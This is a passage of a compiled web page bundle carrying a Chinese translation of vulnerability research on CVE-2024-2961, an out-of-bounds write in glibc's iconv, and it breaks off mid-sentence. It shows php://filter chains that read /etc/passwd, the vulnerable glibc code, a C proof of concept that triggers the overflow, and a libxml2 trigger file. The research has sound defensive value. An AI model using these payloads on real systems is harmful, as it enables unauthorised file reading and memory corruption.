",(0,s.jsx)(n.code,{children:"Y"}),"\n",(0,s.jsx)(n.code,{children:"convert.iconv.X.Y"})," \uff0c\u8fd9\u4f1a\u5c06 charset \u4ece ",(0,s.jsx)(n.code,{children:"X"})," \u8f6c\u6362\u4e3a ",(0,s.jsx)(n.code,{children:"Y"})]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u8ba9\u6211\u4eec\u770b\u4e00\u4e0b\u6700\u540e\u4e00\u4e2a\u8fc7\u6ee4\u5668\uff1a ",(0,s.jsx)(n.code,{children:"convert.iconv.X.Y"})," .\u5047\u8bbe\u6211\u9700\u8981\u5c06\u6211\u7684\u6587\u4ef6\u4ece UTF8 \u8f6c\u6362\u4e3a UTF16\u3002\u6211\u53ef\u4ee5\u4f7f\u7528\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"php://filter/convert.iconv.UTF-8.UTF-16/resource=/etc/passwd\n\u5b83\u7ed9\u51fa\uff08\u5341\u516d\u8fdb\u5236\u5f62\u5f0f\uff09\uff1a\n"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"00000000: fffe 7200 6f00 6f00 7400 3a00 7800 3a00 ..r.o.o.t.:.x.:.\n00000010: 3000 3a00 3000 3a00 7200 6f00 6f00 7400 0.:.0.:.r.o.o.t.\n\n ...\n\n00000a40: 2f00 6200 6900 6e00 2f00 6600 6100 6c00 /.b.i.n./.f.a.l.\n00000a50: 7300 6500 0a00 s.e...\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5927\u91cf\u7684\u8fc7\u6ee4\u5668\u548c\u94fe\u63a5\u5b83\u4eec\u7684\u53ef\u80fd\u6027\u5bfc\u81f4\u4e86\u5bf9 PHP \u7684\u4e00\u4e9b\u4f1f\u5927\u7814\u7a76\uff0c\u4f8b\u5982 ",(0,s.jsx)(n.a,{href:"https://gynvael.coldwind.pl/?id=671",children:"here"}),"\u3001",(0,s.jsx)(n.a,{href:"https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d",children:"here"})," \u6216 ",(0,s.jsx)(n.a,{href:"https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py",children:"here"}),"\u3002\u4e8b\u5b9e\u4e0a\uff0c\u4f7f\u7528\u7cbe\u786e\u9009\u62e9\u7684\u8fc7\u6ee4\u5668\uff08\u8fc7\u6ee4\u5668\u94fe\uff09\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u505a\u4e00\u4e9b\u5947\u5999\u7684\u4e8b\u60c5\uff0c\u4f8b\u5982",(0,s.jsx)(n.a,{href:"https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it",children:"\u5b8c\u5168\u66f4\u6539\u6587\u4ef6\u7684\u5185\u5bb9"}),"\uff0c\u6216\u8005\u4f7f\u7528",(0,s.jsx)(n.a,{href:"(https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle).",children:"\u57fa\u4e8e\u9519\u8bef\u7684\u9884\u8a00\u673a\u9010\u4e2a\u63d0\u53d6\u5176\u5b57\u8282"}),"\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4f8b\u5982\uff0c\u8fd9\u91cc\u6709\u4e00\u4e2a\u8fc7\u6ee4\u5668\u94fe\uff0c\u5b83\u9884\u8bbe ",(0,s.jsx)(n.code,{children:"Hello world!"})," \u4e3a ",(0,s.jsx)(n.code,{children:"/etc/passwd"})," \uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|\nconvert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.IBM860.UTF16|\nconvert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|\nconvert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|\nconvert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|\nconvert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.JS.UNICODE|\nconvert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|\nconvert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|\nconvert.iconv.855.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|\nconvert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|\nconvert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|\nconvert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|\nconvert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|\nconvert.iconv.855.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L5.UTF-32|\nconvert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|\nconvert.base64-encode|convert.iconv.855.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.ISO2022KR.UTF16|\nconvert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|\nconvert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|\nconvert.iconv.855.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|\nconvert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|\nconvert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|\nconvert.iconv.855.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|\nconvert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|\nconvert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|\nconvert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|\nconvert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u7ed3\u679c\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"Hello, world!!!root:x:0:0:root:/root:/bin/bash...\n"})}),"\n",(0,s.jsx)(n.h3,{id:"php-\u8fc7\u6ee4\u5668\u524d\u7f00\u540e\u7f00\u548c-crash",children:"PHP \u8fc7\u6ee4\u5668\uff1a\u524d\u7f00\u3001\u540e\u7f00\u548c crash"}),"\n",(0,s.jsx)(n.p,{children:"\u53ef\u60b2\u7684\u662f\uff0c\u6587\u4ef6\u8bfb\u53d6\u5e76\u4e0d\u603b\u662f\u50cf\u4ee5\u4e0b\u90a3\u6837\u5bb9\u6613\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"echo file_get_contents($_POST['file']);\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u901a\u5e38\uff0c\u6587\u4ef6\u4e0d\u4f1a\u6309\u539f\u6837\u8fd4\u56de\uff0c\u4f46\u4f1a\u4ee5\u67d0\u79cd\u65b9\u5f0f\u5bf9\u5176\u8fdb\u884c\u89e3\u6790\u6216\u68c0\u67e5\u3002\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6211\u7ecf\u5e38\u9047\u5230\u8fd9\u6bb5\u4ee3\u7801\u7684\u53d8\u4f53\uff0c\u5b83\u8981\u6c42\u4f60\u7684\u6587\u4ef6\u662f\u6709\u6548\u7684 JSON\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$data = file_get_contents($_POST['url']);\n$data = json_decode($data);\necho $data->message;\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u6211\u4eec\u5728\u8fd9\u91cc\u8bfb\u53d6\u4e86\u4e00\u4e2a\u6587\u4ef6\uff0c\u4f46\u5185\u5bb9\u968f\u540e\u88ab JSON \u53cd\u5e8f\u5217\u5316\uff0c\u5e76\u4e14\u53ea\u8fd4\u56de\u6587\u6863\u7684\u4e00\u90e8\u5206\u3002\u4e3a\u4e86\u8bfb\u53d6\u6807\u51c6\u6587\u4ef6\uff0c\u4f8b\u5982 ",(0,s.jsx)(n.code,{children:"/etc/passwd"})," \uff0c\u6211\u4eec\u9700\u8981\u5411\u6d41\u6dfb\u52a0\u4efb\u610f\u524d\u7f00\u548c\u540e\u7f00\u3002\u50cf\u8fd9\u6837\uff1a ",(0,s.jsx)(n.code,{children:'{"message": "<contents-of-/etc/passwd>"}'})," .\u5728 2023 \u5e74\u5e95\uff0c\u60c5\u51b5\u662f\u60a8\u53ef\u4ee5\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"php://filter"})," \u94fe\u4e3a\u6d41\u6dfb\u52a0\u524d\u7f00\uff0c\u4f46\u4e0d\u80fd\u6dfb\u52a0\u540e\u7f00\u3002\u56e0\u6b64\uff0c\u6211\u5f00\u59cb\u7814\u7a76\u4e00\u79cd\u7b97\u6cd5\u6765\u505a\u540e\u8005\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5f53\u65f6\uff0c\u6211\u5bf9\u5b57\u7b26\u96c6\u6216\u7f16\u7801\u4e00\u65e0\u6240\u77e5\uff08\u8001\u5b9e\u8bf4\uff0c\u6211\u4ecd\u7136\u4e0d\u77e5\u9053\u5176\u4e2d\u7684\u533a\u522b\uff09\u3002\u9996\u5148\uff0c\u6211\u6784\u5efa\u4e86\u4e00\u4e2a\u66b4\u529b\u7834\u89e3\u811a\u672c\uff0c\u8be5\u811a\u672c\u5c06\u51e0\u4e2a ",(0,s.jsx)(n.code,{children:"iconv"})," \u8fc7\u6ee4\u5668\u5806\u53e0\u5728\u4e00\u8d77\uff0c\u5e76\u663e\u793a\u7ed3\u679c\u3002\u50cf\u8fd9\u6837\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"php://filter/convert.iconv.A.B/convert.iconv.C.D/convert.iconv.E.F/resource=data:,test123\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u67d0\u4e2a\u65f6\u5019\uff0c\u6211\u7684\u201c\u6a21\u7cca\u5668\u201d\u5d29\u6e83\u4e86\u3002\n\u6211\u4e00\u751f\u4e2d\u5927\u90e8\u5206\u65f6\u95f4\u90fd\u5728\u4e0ePHP\u6253\u4ea4\u9053\uff0c\u6211\u5f88\u5feb\u5c31\u6307\u624b\u753b\u811a\u3002\u4f46\u6211\u4e0d\u77e5\u9053\u7684\u662f\uff0c\u8fd9\u4e2a\u9519\u8bef\u5728\u8c03\u7528\u94fe\u4e2d\u7684\u4f4d\u7f6e\u8981\u4f4e\u5f97\u591a\uff1a\u4e00\u76f4\u5230glibc\u3002"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsxs)(n.em,{children:["\u6ce8\u610f\uff1a\u8be5\u7814\u7a76\u4ea7\u751f\u4e86\u4e00\u4e2a\u4e8e 2023 \u5e74 12 \u6708\u53d1\u5e03\u7684\u5de5\u5177\uff1a",(0,s.jsx)(n.a,{href:"https://www.ambionics.io/blog/wrapwrap-php-filters-suffix",children:"wrapwrap"}),".\u3002"]})}),"\n",(0,s.jsx)(n.h2,{id:"glibc-\u4e2d\u5b58\u5728\u4e00\u4e2a\u9519\u8befcve-2024-2961",children:"Glibc \u4e2d\u5b58\u5728\u4e00\u4e2a\u9519\u8befCVE-2024-2961"}),"\n",(0,s.jsxs)(n.h3,{id:"the-iconv-api",children:["The ",(0,s.jsx)(n.code,{children:"iconv()"})," API"]}),"\n",(0,s.jsx)(n.p,{children:"\u5f53PHP\u4ece\u4e00\u4e2a\u5b57\u7b26\u96c6\u8f6c\u6362\u4e3a\u53e6\u4e00\u4e2a\u5b57\u7b26\u96c6\u65f6\uff0c\u5b83\u4f7f\u7528iconv\uff0c\u8fd9\u662f\u4e00\u4e2aAPI\uff0c\u201c\u4f7f\u7528\u8f6c\u6362\u63cf\u8ff0\u7b26\u5c06\u8f93\u5165\u7f13\u51b2\u533a\u4e2d\u7684\u5b57\u7b26\u8f6c\u6362\u4e3a\u8f93\u51fa\u7f13\u51b2\u533a\u201d\u3002\u5728 Linux \u4e0a\uff0c\u6b64 API \u7531 glibc \u5b9e\u73b0\u3002"}),"\n",(0,s.jsx)(n.p,{children:"API \u975e\u5e38\u7b80\u5355\u3002\u9996\u5148\u6253\u5f00\u4e00\u4e2a\u8f6c\u6362\u63cf\u8ff0\u7b26\uff0c\u8be5\u63cf\u8ff0\u7b26\u6307\u793a\u8f93\u5165\u548c\u8f93\u51fa\u5b57\u7b26\u96c6\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"iconv_t iconv_open(const char *tocode, const char *fromcode);\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7136\u540e\uff0c\u60a8\u53ef\u4ee5\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"iconv()"})," \u5c06\u8f93\u5165\u7f13\u51b2\u533a ",(0,s.jsx)(n.code,{children:"inbuf"})," \u8f6c\u6362\u4e3a\u8f93\u51fa\u7f13\u51b2\u533a\u4e2d ",(0,s.jsx)(n.code,{children:"outbuf"})," \u7684\u65b0\u5b57\u7b26\u96c6\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"size_t iconv(iconv_t cd,\n char **restrict inbuf, size_t *restrict inbytesleft,\n char **restrict outbuf, size_t *restrict outbytesleft);\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7f13\u51b2\u533a\u7ba1\u7406\u7531\u8c03\u7528\u65b9\u8d1f\u8d23\u3002\u5982\u679c\u8f93\u51fa\u7f13\u51b2\u533a\u4e0d\u591f\u5927\uff0c ",(0,s.jsx)(n.code,{children:"iconv()"})," \u5c06\u8fd4\u56de\u4e00\u4e2a\u9519\u8bef\uff0c\u6307\u793a\u5982\u6b64\uff0c\u60a8\u5c06\u80fd\u591f\u901a\u8fc7\u518d\u6b21\u8c03\u7528 ",(0,s.jsx)(n.code,{children:"iconv()"})," \u91cd\u65b0\u5206\u914d ",(0,s.jsx)(n.code,{children:"outbuf"})," \u5e76\u7ee7\u7eed\u8f6c\u6362\u3002\u8be5\u51fd\u6570\u4fdd\u8bc1\u7684\u662f\uff0c\u5b83\u6c38\u8fdc\u4e0d\u4f1a\u4ece ",(0,s.jsx)(n.code,{children:"inbuf"})," \u4e2d\u8bfb\u53d6\u8d85\u8fc7 ",(0,s.jsx)(n.code,{children:"inbytesleft"})," \u5b57\u8282\u7684\u5b57\u8282\u6570\uff0c\u4e5f\u4e0d\u4f1a\u5411 ",(0,s.jsx)(n.code,{children:"outbuf"})," \u5199\u5165\u8d85\u8fc7 ",(0,s.jsx)(n.code,{children:"outbytesleft"})," \u5b57\u8282\u6570\u7684\u5b57\u8282\u6570\u3002\u4ece\u4e0d\uff1f\u597d\u5427\uff0c\u7406\u8bba\u4e0a......"]}),"\n",(0,s.jsx)(n.h3,{id:"\u8f6c\u6362\u4e3a-iso-2022-cn-ext-\u65f6\u51fa\u754c\u5199\u5165",children:"\u8f6c\u6362\u4e3a ISO-2022-CN-EXT \u65f6\u51fa\u754c\u5199\u5165"}),"\n",(0,s.jsxs)(n.p,{children:["\u78b0\u5de7\u7684\u662f\uff0c\u5728\u5c06\u6570\u636e\u8f6c\u6362\u4e3a ",(0,s.jsx)(n.code,{children:"ISO-2022-CN-EXT"})," \u5b57\u7b26\u96c6\u65f6\uff0ciconv \u53ef\u80fd\u65e0\u6cd5\u5728\u5199\u5165\u8f93\u51fa\u7f13\u51b2\u533a\u4e4b\u524d\u68c0\u67e5\u8f93\u51fa\u7f13\u51b2\u533a\u4e2d\u662f\u5426\u6709\u8db3\u591f\u7684\u7a7a\u95f4\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5b9e\u9645\u4e0a\uff0c ",(0,s.jsx)(n.code,{children:"ISO-2022-CN-EXT"})," \u5b83\u5b9e\u9645\u4e0a\u662f\u4e00\u4e2a\u5b57\u7b26\u96c6\u7684\u96c6\u5408\uff1a\u5f53\u5b83\u9700\u8981\u5bf9\u5b57\u7b26\u8fdb\u884c\u7f16\u7801\u65f6\uff0c\u5b83\u4f1a\u9009\u62e9\u9002\u5f53\u7684\u5b57\u7b26\u96c6\uff0c\u5e76\u53d1\u51fa\u4e00\u4e2a\u8f6c\u4e49\u5e8f\u5217\uff0c\u6307\u793a\u89e3\u7801\u5668\u9700\u8981\u5207\u6362\u5230\u8fd9\u6837\u7684\u5b57\u7b26\u96c6\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0b\u9762\u7684\u4ee3\u7801\u662f\u8d1f\u8d23\u53d1\u51fa\u6b64\u7c7b\u8f6c\u4e49\u5e8f\u5217\u7684\u90e8\u5206\u3002\u5b83\u7531 3 ",(0,s.jsx)(n.code,{children:"if"})," \u4e2a\u5757\u7ec4\u6210\uff0c\u6bcf\u4e2a\u5757\u5c06\u4e0d\u540c\u7684\u8f6c\u4e49\u5e8f\u5217\u5199\u5165 ",(0,s.jsx)(n.code,{children:"outbuf"})," \uff08\u6307\u5411\uff09\u3002 ",(0,s.jsx)(n.code,{children:"outptr"})," \u5982\u679c\u4f60\u770b\u4e00\u4e0b\u7b2c\u4e00\u4e2a [1] \uff0c\u4f60\u53ef\u4ee5\u770b\u5230\u5b83\u4ee5\u53e6\u4e00\u4e2a ",(0,s.jsx)(n.code,{children:"if()"})," \u5757\u4e3a\u524d\u7f00\uff0c\u8be5\u5757\u68c0\u67e5\u8f93\u51fa\u7f13\u51b2\u533a\u662f\u5426\u8db3\u591f\u5927\u4ee5\u5bb9\u7eb3 4 \u4e2a\u5b57\u7b26\u3002\u53e6\u5916\u4e24\u4e2a ",(0,s.jsx)(n.code,{children:"if()"})," [2][3] \u5219\u6ca1\u6709\u3002\u56e0\u6b64\uff0c\u8f6c\u4e49\u5e8f\u5217\u53ef\u80fd\u4f1a\u88ab\u5199\u5165\u8d8a\u754c\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// iconvdata/iso-2022-cn-ext.c\n\n/* See whether we have to emit an escape sequence. */\nif (set != used)\n{\n /* First see whether we announced that we use this\n character set. */\n if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]\n {\n const char *escseq;\n\n if (outptr + 4 > outend) // <-------------------- BOUND CHECK\n {\n result = __GCONV_FULL_OUTPUT;\n break;\n }\n\n assert(used >= 1 && used <= 4);\n escseq = \")A\\0\\0)G)E\" + (used - 1) * 2;\n *outptr++ = ESC;\n *outptr++ = '$';\n *outptr++ = *escseq++;\n *outptr++ = *escseq++;\n\n ann = (ann & ~SO_ann) | (used << 8);\n }\n else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]\n {\n const char *escseq;\n\n // <-------------------- NO BOUND CHECK\n\n assert(used == CNS11643_2_set); /* XXX */\n escseq = \"*H\";\n *outptr++ = ESC;\n *outptr++ = '$';\n *outptr++ = *escseq++;\n *outptr++ = *escseq++;\n\n ann = (ann & ~SS2_ann) | (used << 8);\n }\n else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]\n {\n const char *escseq;\n\n // <-------------------- NO BOUND CHECK\n\n assert((used >> 5) >= 3 && (used >> 5) <= 7);\n escseq = \"+I+J+K+L+M\" + ((used >> 5) - 3) * 2;\n *outptr++ = ESC;\n *outptr++ = '$';\n *outptr++ = *escseq++;\n *outptr++ = *escseq++;\n\n ann = (ann & ~SS3_ann) | (used << 8);\n }\n}\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8981\u89e6\u53d1 bug\uff0c\u6211\u4eec\u9700\u8981\u5728\u8f93\u51fa\u7f13\u51b2\u533a\u7ed3\u675f\u4e4b\u524d\u5f3a\u5236 ",(0,s.jsx)(n.code,{children:"iconv()"})," \u53d1\u51fa\u8f6c\u4e49\u5e8f\u5217\u3002\u4e3a\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5916\u6765\u5b57\u7b26\uff0c\u4f8b\u5982\uff1a ",(0,s.jsx)(n.code,{children:"\u5284"})," \u3001 ",(0,s.jsx)(n.code,{children:"\u409a"})," \u6216 ",(0,s.jsx)(n.code,{children:"\u5cdb"})," ",(0,s.jsx)(n.code,{children:"\u6e7f"})," \u3002\u7ed3\u679c\u662f 1 \u5230 3 \u4e2a\u5b57\u8282\u7684\u6ea2\u51fa\uff0c\u5176\u503c\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"$*H"})," [",(0,s.jsx)(n.code,{children:"24 2A 48"}),"]"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"$+I"})," [",(0,s.jsx)(n.code,{children:"24 2B 49"}),"]"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"$+J"})," [",(0,s.jsx)(n.code,{children:"24 2B 4A"}),"]"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"$+K"})," [",(0,s.jsx)(n.code,{children:"24 2B 4B"}),"]"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"$+L"})," [",(0,s.jsx)(n.code,{children:"24 2B 4C"}),"]"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"$+M"})," [",(0,s.jsx)(n.code,{children:"24 2B 4D"}),"]"]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5feb\u901f",(0,s.jsx)(n.a,{href:"https://github.com/ambionics/cnext-exploits/blob/main/poc.c",children:"POC"})," \u6f14\u793a\u4e86\u8be5\u9519\u8bef\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'/*\n$ gcc -o poc ./poc.c && ./poc\n*/\n...\n\nvoid hexdump(void *ptr, int buflen)\n{\n ...\n}\n\nvoid main()\n{\n iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");\n\n char input[0x10] = "AAAAA\u5284";\n char output[0x10] = {0};\n\n char *pinput = input;\n char *poutput = output;\n\n // Same size for input and output buffer: 8 bytes\n size_t sinput = strlen(input);\n size_t soutput = sinput;\n\n iconv(cd, &pinput, &sinput, &poutput, &soutput);\n\n printf("Remaining bytes (should be > 0): %zd\\n", soutput);\n\n hexdump(output, 0x10);\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u5728\u6613\u53d7\u653b\u51fb\u7684\u7cfb\u7edf\u4e0a\u4ea7\u751f\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$ gcc -o poc ./poc.c && ./poc\nRemaining bytes (should be > 0): -1\n000000: 41 41 41 41 41 1b 24 2a 48 00 00 00 00 00 00 00 AAAA A.$* H... ....\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5df2\u7ecf\u5199\u4e86\u4e5d\u4e2a\u5b57\u8282\uff0c\u5c3d\u7ba1\u544a\u8bc9 ",(0,s.jsx)(n.code,{children:"iconv()"})," \u6700\u591a\u5199\u516b\u4e2a\u5b57\u8282\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["Checking the ",(0,s.jsx)(n.a,{href:"https://github.com/lattera/glibc/commit/755104edc75c53f4a0e7440334e944ad3c6b32fc#diff-c55a50730dd1a15db405b851229d49697508e27710403e4995f0f9d628295c36",children:"commit history"}),", I noticed that the bug was very old: it appeared in year 2000, making it 24 years old.\n\u68c0\u67e5\u63d0\u4ea4",(0,s.jsx)(n.a,{href:"https://github.com/lattera/glibc/commit/755104edc75c53f4a0e7440334e944ad3c6b32fc#diff-c55a50730dd1a15db405b851229d49697508e27710403e4995f0f9d628295c36",children:"\u5386\u53f2\u8bb0\u5f55"}),"\uff0c\u6211\u6ce8\u610f\u5230\u8fd9\u4e2a\u9519\u8bef\u975e\u5e38\u53e4\u8001\uff1a\u5b83\u51fa\u73b0\u5728 2000 \u5e74\uff0c\u8ddd\u4eca\u5df2\u6709 24 \u5e74\u7684\u5386\u53f2\u3002\n\u73b0\u5728\uff0c\u8fd9\u4e2a\u9519\u8bef\u53ef\u4ee5\u505a\u4ec0\u4e48\uff1f"]}),"\n",(0,s.jsx)(n.h3,{id:"\u6761\u4ef6\u548c\u539f\u59cb",children:"\u6761\u4ef6\u548c\u539f\u59cb"}),"\n",(0,s.jsxs)(n.p,{children:["\u6709\u4e86\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u6211\u6709\u4e00\u4e2a 1 \u5230 3 \u4e2a\u5b57\u8282\u7684\u6ea2\u51fa\uff0c\u5176\u4e2d\u5305\u542b\u975e\u53d7\u63a7\u5b57\u7b26\u3002\u8fd9\u5e76\u4e0d\u591a\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u6709\u5148\u51b3\u6761\u4ef6\u3002\u6211\u9700\u8981\u627e\u5230\u4e00\u4e2a\u7535\u8bdd\uff0c ",(0,s.jsx)(n.code,{children:"iconv()"})," \u5176\u4e2d\u6211\uff1a"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["controlled the output charset (",(0,s.jsx)(n.code,{children:"ISO-2022-CN-EXT"}),")\n\u63a7\u5236\u8f93\u51fa\u5b57\u7b26\u96c6 \uff08 ",(0,s.jsx)(n.code,{children:"ISO-2022-CN-EXT"})," \uff09"]}),"\n",(0,s.jsx)(n.li,{children:"controlled part of the input buffer (to put in the beautiful chinese characters)\n\u8f93\u5165\u7f13\u51b2\u533a\u7684\u53d7\u63a7\u90e8\u5206\uff08\u8f93\u5165\u6f02\u4eae\u7684\u6c49\u5b57\uff09"}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u8003\u8651\u5230\u8fd9\u4e00\u70b9\uff0c\u6211\u5f00\u59cb\u5bfb\u627e\u76ee\u6807\u3002\u4ece\u5728\u6211\u7684 ",(0,s.jsx)(n.code,{children:"/lib"})," \u76ee\u5f55 ",(0,s.jsx)(n.code,{children:"/bin"})," ",(0,s.jsx)(n.code,{children:"iconv"})," \u4e2d\u5b66\u4e60\u5230\u8fed\u4ee3\u6570\u767e\u4e2a OSS \u9879\u76ee\uff0c\u6211\u53d1\u73b0\u4e86\u4e00\u4e9b\u6709\u8da3\u7684\u76ee\u6807\u3002\u5b9e\u9645\u4e0a\u6ca1\u6709\u4e00\u4e2a\u662f\u53ef\u5229\u7528\u7684\u3002\n\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u8ba9\u6211\u4eec\u770b\u4e00\u4e2a\u975e\u5e38\u6709\u524d\u9014\u7684\u76ee\u6807\uff1a ",(0,s.jsx)(n.code,{children:"libxml2"})," ."]}),"\n",(0,s.jsx)(n.h4,{id:"libxml2\u5b57\u8282\u7684\u6d77\u6d0b",children:"libxml2\uff1a\u5b57\u8282\u7684\u6d77\u6d0b"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"libxml2"})," \u4ec5\u5904\u7406 UTF-8 \u683c\u5f0f\u7684 XML\u3002\u5982\u679c XML \u6587\u6863\u4e0d\u662f UTF-8\uff0c\u5b83\u5c06\u88ab\u8f6c\u6362\u4e3a\u5b83\uff0c\u7136\u540e\u8fdb\u884c\u5904\u7406\uff0c\u7136\u540e\u5728\u5b8c\u6210\u6240\u6709\u64cd\u4f5c\u540e\u8f6c\u6362\u56de\u5176\u539f\u59cb\u5b57\u7b26\u96c6\u3002\u8f6c\u6362\u662f\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"iconv()"})," ."]}),"\n",(0,s.jsx)(n.p,{children:"\u56e0\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8fd9\u6837\u7684\u6587\u4ef6\u6ee1\u8db3\u6211\u4eec\u7684\u5148\u51b3\u6761\u4ef6\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'<?xml version="1.0" encoding="ISO-2022-CN-EXT"?>\n<root>&21124;</root>\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.em,{children:"\u6ce8\u610f\uff1a21124 \u662f \u5284 \u7684 unicode 